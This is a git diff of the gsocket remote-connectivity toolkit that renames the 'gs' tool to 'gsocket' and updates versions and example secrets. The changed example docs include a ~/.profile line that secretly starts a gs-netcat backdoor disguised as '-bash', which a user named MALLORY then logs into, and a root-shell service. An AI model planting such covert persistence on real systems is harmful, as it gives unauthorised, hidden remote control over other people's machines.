diff --git a/README.md b/README.md index 9289344c..0c319848 100755 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP [![Watch the video](https://github.com/hackerschoice/hackerschoice.github.io/blob/master/eeelite-console-blank2.png)](https://www.youtube.com/watch?v=tmf9VGDPILE) Video 1: [gs-netcat reverse login shell and EEElite-console](https://www.youtube.com/watch?v=tmf9VGDPILE) -Video 2: [Using gs to hijack OpenSSH](https://www.youtube.com/watch?v=Nn6BAeeVJIc) +Video 2: [Using gsocket to hijack OpenSSH](https://www.youtube.com/watch?v=Nn6BAeeVJIc) Video 3: [Blitz files through firewalls](https://www.thc.org/gsocket-anim2.gif) **Features:** @@ -22,7 +22,7 @@ Abandon the thought of IP Addresses and Port Numbers. Instead start thinking tha The GSRN is a free cloud service and is free to use by anyone. The Global Socket Toolkit comes with a set of tools: -* **gs** - Make an existing program accessible via the GSRN. It does so by analyzing the program and replacing the IP-Layer with its own Gsocket-Layer. Any connection to a hostname ending in *'\*.gsocket'* is redirected via the GSRN to the listening server. +* **gsocket** - Make an existing program accessible via the GSRN. It does so by analyzing the program and replacing the IP-Layer with its own Gsocket-Layer. Any connection to a hostname ending in *'\*.gsocket'* is redirected via the GSRN to the listening server. * **gs-netcat** - Netcat on steroids. Turn gs-netcat into an AES-256 encrypted reverse backdoor via TOR (optional) with a true PTY/interactive command shell (```gs-netcat -s MySecret -i```), integrated file-transfer, spawn a Socks4/4a/5 proxy or forward TCP connections or give somebody temporary shell access. * **gs-sftp** - sftp server & client between two firewalled workstations (```gs-sftp -s MySecret```) * **gs-mount** - Access and mount a remote file system (```gs-mount -s MySecret ~/mnt/warez```) @@ -31,10 +31,10 @@ The Global Socket Toolkit comes with a set of tools: | ----------|------------- -Download|[gsocket-1.4.26.tar.gz](https://github.com/hackerschoice/gsocket/releases/download/v.1.4.26/gsocket-1.4.26.tar.gz) (Linux, MacOS, FreeBSD, Solaris) +Download|[gsocket-1.4.27.tar.gz](https://github.com/hackerschoice/gsocket/releases/download/v1.4.27/gsocket-1.4.27.tar.gz) (Linux, MacOS, FreeBSD, Solaris) Debian/Ubuntu| [gsocket_1.4.26_all.deb](https://github.com/hackerschoice/binary/raw/main/gsocket/latest/gsocket_1.4.26_all.deb) Windows| use docker (see below) -Man Page| [gs(1)](https://hackerschoice.github.io/gs.1.html), [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html), [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html), [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html), [blitz(1)](https://hackerschoice.github.io/blitz.1.html) +Man Page| [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html), [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html), [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html), [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html), [blitz(1)](https://hackerschoice.github.io/blitz.1.html) Docker| docker run --rm -it hackerschoice/gsocket Docker| docker run --rm -it hackerschoice/gsocket-tor # gs via TOR @@ -56,15 +56,15 @@ $ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/hackerschoice/gso 1. SSH from *Workstation B* to *Workstation A* through any firewall/NAT ``` -$ gs /usr/sbin/sshd # Workstation A -$ gs ssh root@gsocket # Workstation B +$ gsocket /usr/sbin/sshd # Workstation A +$ gsocket ssh root@gsocket # Workstation B ``` See also: [gs(1)](https://hackerschoice.github.io/gs.1.html) 2. OpenVPN between two firewalled workstations: ``` -$ gs openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2 # Workstation A -$ gs openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket # Workstation B +$ gsocket openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2 # Workstation A +$ gsocket openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket # Workstation B ``` See also: [gs(1)](https://hackerschoice.github.io/gs.1.html) diff --git a/configure.ac b/configure.ac index 312bef6e..96d0806f 100644 --- a/configure.ac +++ b/configure.ac @@ -1,6 +1,6 @@ dnl Process this File with autoconf to produce a configure script. AC_PREREQ(2.61) -AC_INIT([gsocket], 1.4.26) +AC_INIT([gsocket], 1.4.27) dnl AC_CONFIG_AUX_DIR(config-x86_64-apple-darwin19.6.0) AC_CONFIG_AUX_DIR(config) AC_CANONICAL_SYSTEM diff --git a/examples/port-forward/README.md b/examples/port-forward/README.md index 61cf9c88..e7c38483 100644 --- a/examples/port-forward/README.md +++ b/examples/port-forward/README.md @@ -46,15 +46,15 @@ TCP port 6667 on BOB's workstation is now forwarded to TCP port 6667 on ALICE's b@BOB:~$ irssi -c 127.0.0.1 ``` -Alternatively of using two separate commands BOB can use the *gs* tool to start the irc client and automatically forward the connection via the GSRN: +Alternatively of using two separate commands BOB can use the *gsocket* tool to start the irc client and automatically forward the connection via the GSRN: ```ShellSession -b@BOB:~$ gs irssi -c gsocket +b@BOB:~$ gsocket irssi -c blah.gsocket Enter Secret (or press Enter to generate): ExampleSecretChangeMe =Secret :"ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) Irssi v1.2.0-2 - https://irssi.org -06:22 -!- Irssi: Looking up gsocket -06:22 -!- Irssi: Connecting to gsocket [127.31.33.7] port 6667 +06:22 -!- Irssi: Looking up blahgsocket +06:22 -!- Irssi: Connecting to blah.gsocket [127.31.33.7] port 6667 [...] ``` @@ -63,7 +63,7 @@ This is a hypothetical example. Alice can configure the port forward by changing Alice created a port forward and started the IRCD service. Instead Alice can combine this into a single command: ```ShellSession -alice@ALICE:~$ gs inspircd --nolog --nofork +alice@ALICE:~$ gsocket inspircd --nolog --nofork Enter Secret (or press Enter to generate): ExampleSecretChangeMe =Secret :"ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) diff --git a/examples/sshd/README.md b/examples/sshd/README.md index a51c5c35..9ac7fe94 100644 --- a/examples/sshd/README.md +++ b/examples/sshd/README.md @@ -8,21 +8,21 @@ ALICE and BOB are on two different networks and behind a NAT/Firewall. Neither o Allow user bob on host BOB to log-in with ssh as user bob on host ALICE (without tampering with the firewall, NAT or router settings). **Solution** -Start sshd and ssh with the *gs* tool to (automatically) redirect any ssh-traffic via the Global Socket Relay Network. +Start sshd and ssh with the *gsocket* tool to (automatically) redirect any ssh-traffic via the Global Socket Relay Network. -Let's test the *gs* concept. Start *sshd* on ALICE with the *gs* tool: +Let's test the *gsocket* concept. Start *sshd* on ALICE with the *gsocket* tool: ```ShellSession -root@ALICE:~# gs -s ExampleSecretChangeMe /usr/sbin/sshd -D +root@ALICE:~# gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D ``` -The *gs* tool hooks all network functions and instead redirects those via the GSRN. The above example redirects the 'listen()'-call and listens on the Global Socket named *ExampleSecretChangeMe* instead of sshd's port 22. +The *gsocket* tool hooks all network functions and instead redirects those via the GSRN. The above example redirects the 'listen()'-call and listens on the Global Socket named *ExampleSecretChangeMe* instead of sshd's port 22. Anyone with the correct secret (*ExampleSecretChangeMe*) can now connect to this sshd from anywhere in the world. The sshd process will _not_ listen on the default SSHD port 22 but instead on a Global Socket named *ExampleSecretChangeMe*. (On Global Socket we use names and not numbers). -From BOB use the *gs* tool to log in to ALICE: +From BOB use the *gsocket* tool to log in to ALICE: ```ShellSession -bob@BOB:~$ gs ssh bob@gsocket +bob@BOB:~$ gsocket ssh bob@gsocket Enter Secret (or press Enter to generate): ExampleSecretChangeMe =Secret :"ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) @@ -61,7 +61,7 @@ root@ALICE:~# systemctl enable gs-sshd Log in to host ALICE from anywhere in the world: ```ShellSession -bob@BOB:~$ gs ssh bob@gsocket +bob@BOB:~$ gsocket ssh bob@gsocket Enter Secret (or press Enter to generate): ExampleSecretChangeMe =Secret :"ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) @@ -73,7 +73,7 @@ bob@ALICE:~$ Do not use *ExampleSecretChangeMe*. Generate your own secret using the *-g* option: ```ShellSession -$ gs -g +$ gsocket -g M9BfcYhhG4LujcPTbUcaZN ``` diff --git a/examples/sshd/gs-sshd.service b/examples/sshd/gs-sshd.service index 0e235fff..6a89401e 100644 --- a/examples/sshd/gs-sshd.service +++ b/examples/sshd/gs-sshd.service @@ -7,7 +7,7 @@ ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStartPre=/usr/sbin/sshd -t -ExecStart=gs -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS +ExecStart=gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS ExecReload=/usr/sbin/sshd -t ExecReload=/bin/kill -HUP $MAINPID KillMode=process diff --git a/examples/systemd-root-shell/README.md b/examples/systemd-root-shell/README.md index 2478c860..87b07f52 100644 --- a/examples/systemd-root-shell/README.md +++ b/examples/systemd-root-shell/README.md @@ -33,7 +33,7 @@ Create a random key file: root@ALICE:~# gs-netcat -g >/etc/systemd/gs-root-shell-key.txt root@ALICE:~# chmod 600 /etc/systemd/gs-root-shell-key.txt root@ALICE:~# cat /etc/systemd/gs-root-shell-key.txt -ExampleKeyXXXXChangeMe +ExampleSecretChangeMe ``` Start the service: @@ -53,8 +53,8 @@ root@ALICE:~# systemctl status gs-root-shell Now log-in from "BOB" to "ALICE": ```ShellSession -b@BOB:~$ gs-netcat -s ExampleKeyXXXXChangeMe -i -=Secret : "ExampleKeyXXXXChangeMe" +b@BOB:~$ gs-netcat -s ExampleSecretChangeMe -i +=Secret : "ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) root@ALICE:~# id uid=0(root) gid=0(root) groups=0(root) diff --git a/examples/user-shell/README.md b/examples/user-shell/README.md index 68608262..7a471a57 100644 --- a/examples/user-shell/README.md +++ b/examples/user-shell/README.md @@ -13,7 +13,7 @@ Start gs-netcat from ALICE's *~/.profile* and do so secretly and silently (witho On "ALICE" add the following line to the end of *~/.profile*. This will start the gs-netcat backdoor every time that ALICE logs in. The gs-netcat process is hidden as *-bash* and shows up as *-bash* in the process list. ``` -killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleKeyXXXXChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat) +killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat) ``` Start the backdoor manually for testing. Thereafter the backdoor will start (and remain running) whenever ALICE logs in for the first time: @@ -23,8 +23,8 @@ alice@ALICE:~$ source ~/.profile Now log in from "MALLORY" to "ALICE": ```ShellSession -m@MALLORY:~ $ gs-netcat -s ExampleKeyXXXXChangeMe -i -=Secret : "ExampleKeyXXXXChangeMe" +m@MALLORY:~ $ gs-netcat -s ExampleSecretChangeMe -i +=Secret : "ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) alice@ALICE:~$ id uid=1001(alice) gid=1001(alice) diff --git a/examples/wireguard/README.md b/examples/wireguard/README.md index 8881f31b..3f14c47a 100644 --- a/examples/wireguard/README.md +++ b/examples/wireguard/README.md @@ -40,7 +40,7 @@ Address = 10.37.0.1/24 ListenPort = 51820 PrivateKey = 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k= PostUp = sysctl -w net.ipv4.ip_forward=1 -PreUp = gs-netcat -s AnyKindOfRandomString -Culq -d 127.0.0.1 -p 51820 & +PreUp = gs-netcat -s ExampleSecretChangeMe -Culq -d 127.0.0.1 -p 51820 & PostDOwn = killall -g gs-netcat [Peer] @@ -51,9 +51,9 @@ AllowedIPs = 10.37.0.2/32 This is a default WireGuard configuration file for a server. The only change is: ```Nginx -PreUp = gs-netcat -s AnyKindOfRandomString -Culq -d 127.0.0.1 -p 51820 & +PreUp = gs-netcat -s ExampleSecretChangeMe -Culq -d 127.0.0.1 -p 51820 & ``` -This starts a gs-netcat process and redirects any traffic from the Global Socket *AnyKindOfRandomString* to the default WireGuard port (51820). *-u* specifies UDP protocol and *-q* to be quiet. +This starts a gs-netcat process and redirects any traffic from the Global Socket *ExampleSecretChangeMe* to the default WireGuard port (51820). *-u* specifies UDP protocol and *-q* to be quiet. Let's take a look at wg-client.conf (BOB): @@ -63,7 +63,7 @@ Let's take a look at wg-client.conf (BOB): Address = 10.37.0.2/32 PrivateKey = SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY= # Make gs-netcat listen on UDP 31337 -PreUp = gs-netcat -s AnyKindOfRandomString -Cuq -p 31337 & +PreUp = gs-netcat -s ExampleSecretChangeMe -Cuq -p 31337 & PostDown = killall -g gs-netcat [Peer] @@ -76,14 +76,14 @@ PersistentKeepalive = 25 The only change is: ```Nginx -PreUp = gs-netcat -s AnyKindOfRandomString -Cuq -p 31337 & +PreUp = gs-netcat -s ExampleSecretChangeMe -Cuq -p 31337 & [...] EndPoint = 127.0.0.1:31337 ``` -The PreUp-line redirects any UDP traffic from port 31337 to the Global Socket *AnyKindOfRandomString*. The new *Endpoint* instructs WireGuard to send all WireGuard traffic to the UDP port where gs-netcat is listening (31337). Any UDP traffic received by gs-netcat is forwarded (via the Global Socket Relay Network) to the other gs-netcat running on ALICE. +The PreUp-line redirects any UDP traffic from port 31337 to the Global Socket *ExampleSecretChangeMe*. The new *Endpoint* instructs WireGuard to send all WireGuard traffic to the UDP port where gs-netcat is listening (31337). Any UDP traffic received by gs-netcat is forwarded (via the Global Socket Relay Network) to the other gs-netcat running on ALICE. **Notes** -The gs-netcat secret *AnyKindOfRandomString* is chosen at random but has to be identical on ALICE and BOB. This string is used by the Global Socket Relay Network to connect ALICE and BOB. Use *gs-netcat -g* to generate a new random string for your own use (do not use the example). +The gs-netcat secret *ExampleSecretChangeMe* is chosen at random but has to be identical on ALICE and BOB. This string is used by the Global Socket Relay Network to connect ALICE and BOB. Use *gs-netcat -g* to generate a new random string for your own use (do not use the example). Create your own private/public WireGuard keys (do not use the example): ```ShellSession diff --git a/man/Makefile.am b/man/Makefile.am index bad9d3c6..4df70dac 100755 --- a/man/Makefile.am +++ b/man/Makefile.am @@ -1 +1 @@ -dist_man_MANS = gs.1 gs-netcat.1 gs-sftp.1 blitz.1 gs-mount.1 +dist_man_MANS = gsocket.1 gs-netcat.1 gs-sftp.1 blitz.1 gs-mount.1 diff --git a/man/blitz.1 b/man/blitz.1 index 5c5c507c..9581b76d 100755 --- a/man/blitz.1 +++ b/man/blitz.1 @@ -76,7 +76,7 @@ See for a list of supported environment variables. .Pp .Sh SEE ALSO -.Xr gs(1) , +.Xr gsocket(1) , .Xr gs-netcat(1) , .Xr gs-sftp(1) , .Xr gs-mount(1) , diff --git a/man/gs-mount.1 b/man/gs-mount.1 index 627b26fe..fb6ecacc 100755 --- a/man/gs-mount.1 +++ b/man/gs-mount.1 @@ -48,7 +48,7 @@ See for a list of supported environment variables. .Pp .Sh SEE ALSO -.Xr gs(1) , +.Xr gsocket(1) , .Xr gs-netcat(1) , .Xr gs-sftp(1) , .Xr blitz(1) , diff --git a/man/gs-netcat.1 b/man/gs-netcat.1 index 5ec01c61..8ee94d7a 100755 --- a/man/gs-netcat.1 +++ b/man/gs-netcat.1 @@ -252,7 +252,7 @@ SRP has Perfect Forward Secrecy. This means that past sessions can not be decryp The latest version is available from https://github.com/hackerschoice/gsocket/. .Sh SEE ALSO -.Xr gs(1) , +.Xr gsocket(1) , .Xr gs-sftp(1) , .Xr gs-mount(1) , .Xr blitz(1) , diff --git a/man/gs-sftp.1 b/man/gs-sftp.1 index 3fdf701b..58b6fa5a 100755 --- a/man/gs-sftp.1 +++ b/man/gs-sftp.1 @@ -47,7 +47,7 @@ See for a list of supported environment variables. .Pp .Sh SEE ALSO -.Xr gs(1) , +.Xr gsocket(1) , .Xr gs-netcat(1) , .Xr sftp(1) .Pp diff --git a/man/gs.1 b/man/gsocket.1 similarity index 100% rename from man/gs.1 rename to man/gsocket.1 diff --git a/tests/run_gs_tests.sh b/tests/run_gs_tests.sh index 1498a556..02a44f98 100755 --- a/tests/run_gs_tests.sh +++ b/tests/run_gs_tests.sh @@ -99,9 +99,9 @@ tests+="7.1 7.2 7.3 7.4 " tests+="8.1 8.2 8.3 " tests+="9.1 9.2 9.3 9.4 " tests+="10.1 10.2 10.3 10.4 " # blitz, gs-sftp, gs-mount -tests+="10.5 " # gs nc -tests+="10.6 " # gs socat -tests+="10.7 " # gs ssh +tests+="10.5 " # gsocket nc +tests+="10.6 " # gsocket socat +tests+="10.7 " # gsocket ssh if [ x"$1" != x ]; then tests="$@ " @@ -770,8 +770,8 @@ test_start -n "Running: nc #10.5 (stdin)................................." # Can not use nc here because nc does not terminate on EOF from stdin. # Socat can be configured to terminate 1 second after EOF has been received. # need sleep 3 on RPI (slow system) -GSPID1="$(sh -c '(cat test4k.dat; sleep 3) | ../tools/gs -k id_sec.txt $NC $NC_EOF_ARG $NC_LISTEN_ARG 31337 2>server_err.txt >server_out.dat & echo ${!}')" -GSPID2="$(sh -c '(cat test1k.dat; sleep 3) | GSOCKET_ARGS=-w ../tools/gs -k id_sec.txt $NC $NC_EOF_ARG -v gsocket 31337 2>client_err.txt >client_out.dat & echo ${!}')" +GSPID1="$(sh -c '(cat test4k.dat; sleep 3) | ../tools/gsocket -k id_sec.txt $NC $NC_EOF_ARG $NC_LISTEN_ARG 31337 2>server_err.txt >server_out.dat & echo ${!}')" +GSPID2="$(sh -c '(cat test1k.dat; sleep 3) | GSOCKET_ARGS=-w ../tools/gsocket -k id_sec.txt $NC $NC_EOF_ARG -v gsocket 31337 2>client_err.txt >client_out.dat & echo ${!}')" waitk $GSPID2 kill $GSPID1 &>/dev/null md5fail 1 test1k.dat server_out.dat @@ -780,7 +780,7 @@ $ECHO "${OK}" fi if [[ "${tests}" =~ '10.6' ]]; then -test_start -n "Running: gs socat #10.6 (stdin)..........................." +test_start -n "Running: gsocket socat #10.6 (stdin)......................" if ! socat -h 2>/dev/null | grep socks4 &>/dev/null; then skip "(no socat)" elif [[ "$OSTYPE" =~ solaris ]]; then @@ -790,8 +790,8 @@ elif [[ "$OSTYPE" =~ solaris ]]; then else # Can not use nc here because nc does not terminate on EOF from stdin. # Socat can be configured to terminate 1 second after EOF has been received. - GSPID1="$(sh -c '../tools/gs -k id_sec.txt socat -T1 -,ignoreeof TCP-LISTEN:31337 server_err.txt >server_out.dat & echo ${!}')" - GSPID2="$(sh -c 'GSOCKET_ARGS=-w ../tools/gs -k id_sec.txt socat -T1 -,ignoreeof TCP:gsocket:31337 client_err.txt >client_out.dat & echo ${!}')" + GSPID1="$(sh -c '../tools/gsocket -k id_sec.txt socat -T1 -,ignoreeof TCP-LISTEN:31337 server_err.txt >server_out.dat & echo ${!}')" + GSPID2="$(sh -c 'GSOCKET_ARGS=-w ../tools/gsocket -k id_sec.txt socat -T1 -,ignoreeof TCP:gsocket:31337 client_err.txt >client_out.dat & echo ${!}')" waitk $GSPID2 kill $GSPID1 &>/dev/null md5fail 1 test1k.dat server_out.dat @@ -801,7 +801,7 @@ fi fi if [[ "${tests}" =~ '10.7' ]]; then -test_start -n "Running: gs ssh #10.7 (stdin)............................." +test_start -n "Running: gsocket ssh #10.7 (stdin)........................" if [[ "$OSTYPE" =~ solaris ]]; then # Solaris SSHD does not work unless it's run as root (some PAM shit) # Also needs -4 flag to run as IPv4 only (still, PAM shit afterwards) @@ -821,8 +821,8 @@ else [[ -z $SSHD_BIN ]] && SSHD_BIN="/usr/lib/ssh/sshd" export SSHD_BIN [[ -f "$SSHD_BIN" ]] || { echo >&2 "sshd not found"; exit 255; } - GSPID1="$(sh -c '../tools/gs -k id_sec.txt $SSHD_BIN -f /dev/null -o HostKey=${PWD}/ssh_host_rsa_key -p 31338 -D 2>server_err.txt >server_out.dat & echo ${!}')" - GSPID2="$(sh -c 'GSOCKET_ARGS=-w ../tools/gs -k id_sec.txt ssh -i id_rsa -o StrictHostKeyChecking=no -p 31338 ${LOGNAME}@gsocket echo Hello World 2>client_err.txt >client_out.dat & echo ${!}')" + GSPID1="$(sh -c '../tools/gsocket -k id_sec.txt $SSHD_BIN -f /dev/null -o HostKey=${PWD}/ssh_host_rsa_key -p 31338 -D 2>server_err.txt >server_out.dat & echo ${!}')" + GSPID2="$(sh -c 'GSOCKET_ARGS=-w ../tools/gsocket -k id_sec.txt ssh -i id_rsa -o StrictHostKeyChecking=no -p 31338 ${LOGNAME}@gsocket echo Hello World 2>client_err.txt >client_out.dat & echo ${!}')" waitk $GSPID2 kill $GSPID1 &>/dev/null [[ -f ~/.ssh/authorized_keys-backup ]] && cp -a ~/.ssh/authorized_keys-backup ~/.ssh/authorized_keys diff --git a/tools/Makefile.am b/tools/Makefile.am index 6b087d9f..53f24899 100755 --- a/tools/Makefile.am +++ b/tools/Makefile.am @@ -18,7 +18,7 @@ gs_netcat_SOURCES = 4_gs-netcat.c utils.c socks.c console.c ids.c event_mgr.c pk gs_netcat_LDADD = ../lib/libgsocket.a @LDADD_STATIC@ gs_netcat_CFLAGS = @CFLAGS_STATIC@ -dist_bin_SCRIPTS = blitz gs-sftp gs-mount gs_funcs gs +dist_bin_SCRIPTS = blitz gs-sftp gs-mount gs_funcs gsocket gs_uchroot_so_SOURCES = gs_uchroot.c gs_uchroot_so_CFLAGS = -shared -fPIC diff --git a/tools/gs b/tools/gsocket similarity index 100% rename from tools/gs rename to tools/gsocket